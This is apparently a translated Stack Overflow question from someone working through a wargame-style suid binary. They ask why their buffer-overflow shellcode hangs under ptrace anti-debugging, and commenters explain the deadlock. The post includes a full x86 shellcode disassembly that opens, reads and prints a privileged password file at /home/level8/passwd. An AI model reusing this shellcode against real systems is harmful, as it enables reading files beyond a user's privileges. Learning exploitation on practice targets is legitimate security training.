【发布时间】:2016-05-29 09:08:16
【问题描述】:
我正在尝试利用使用ptrace 来阻止调试的代码。
这个可执行文件是suid,因此破解它没有用。
它还有堆栈段可执行文件。这个可执行文件是为播放而制作的。
在我发现自己存在漏洞后,我尝试了缓冲区溢出。我写了一个 shellcode 来启动一个 shell,令我惊讶的是它挂了。 (BASH 报告进程已停止)
经过一些测试,我最终得出结论,ptrace 不仅会阻止调试,还会阻止我的 shellcode 执行。
阅读 ptrace 时,我发现调用 ptrace(PTRACE_TRACEME,0,1,0) 的进程将在调用 syscall exec 后立即停止。所以我改变了策略,因为 ptrace 会在启动可执行文件后立即停止进程,所以我尝试了一个读取文件的 shellcode。我的目标不是启动外壳,而是读取我的用户没有权限的文件。最后这段代码也挂了。
谁能解释我为什么我的代码,尽管它不包含 exec 调用,但它被绞死了?
有什么方法可以从进程本身中停止 ptrace 吗?
在我的情况下,ptraced 进程没有父进程,并且它以更高的权限运行,导致 suid,如何控制它?
这是我的代码,它不应该包含任何 exec。
这是我的shell代码:
0: 31 c0 xor eax,eax
2: 31 db xor ebx,ebx
4: 31 c9 xor ecx,ecx
6: 31 d2 xor edx,edx
8: eb 38 jmp 0x42
a: 5b pop ebx
b: c6 43 13 01 mov BYTE PTR [ebx+0x13],0x1
f: fe 4b 13 dec BYTE PTR [ebx+0x13]
12: b0 05 mov al,0x5
14: 31 c9 xor ecx,ecx
16: cd 80 int 0x80
18: 89 c6 mov esi,eax
1a: eb 06 jmp 0x22
1c: b0 01 mov al,0x1
1e: 31 db xor ebx,ebx
20: cd 80 int 0x80
22: 89 f3 mov ebx,esi
24: b0 03 mov al,0x3
26: 83 ec 01 sub esp,0x1
29: 89 e1 mov ecx,esp
2b: b2 01 mov dl,0x1
2d: cd 80 int 0x80
2f: 31 db xor ebx,ebx
31: 39 c3 cmp ebx,eax
33: 74 e7 je 0x1c
35: b0 04 mov al,0x4
37: b3 01 mov bl,0x1
39: b2 01 mov dl,0x1
3b: cd 80 int 0x80
3d: 83 c4 01 add esp,0x1
40: eb e0 jmp 0x22
42: e8 c3 ff ff ff call 0xa
47: db '/home/level8/passwd'
【问题讨论】:
-
它很可能崩溃了,但是当一个进程被 ptrace 时,然后当它崩溃时它首先告诉跟踪器,但在这种情况下,跟踪器是同一个进程,所以它是一个死锁。
-
@Alessandro:这不是批评或类似的东西,只是一个建议,但这个问题会更适合RE.SE(我无耻地为RE.SE做一些广告!:) )。
标签: ptrace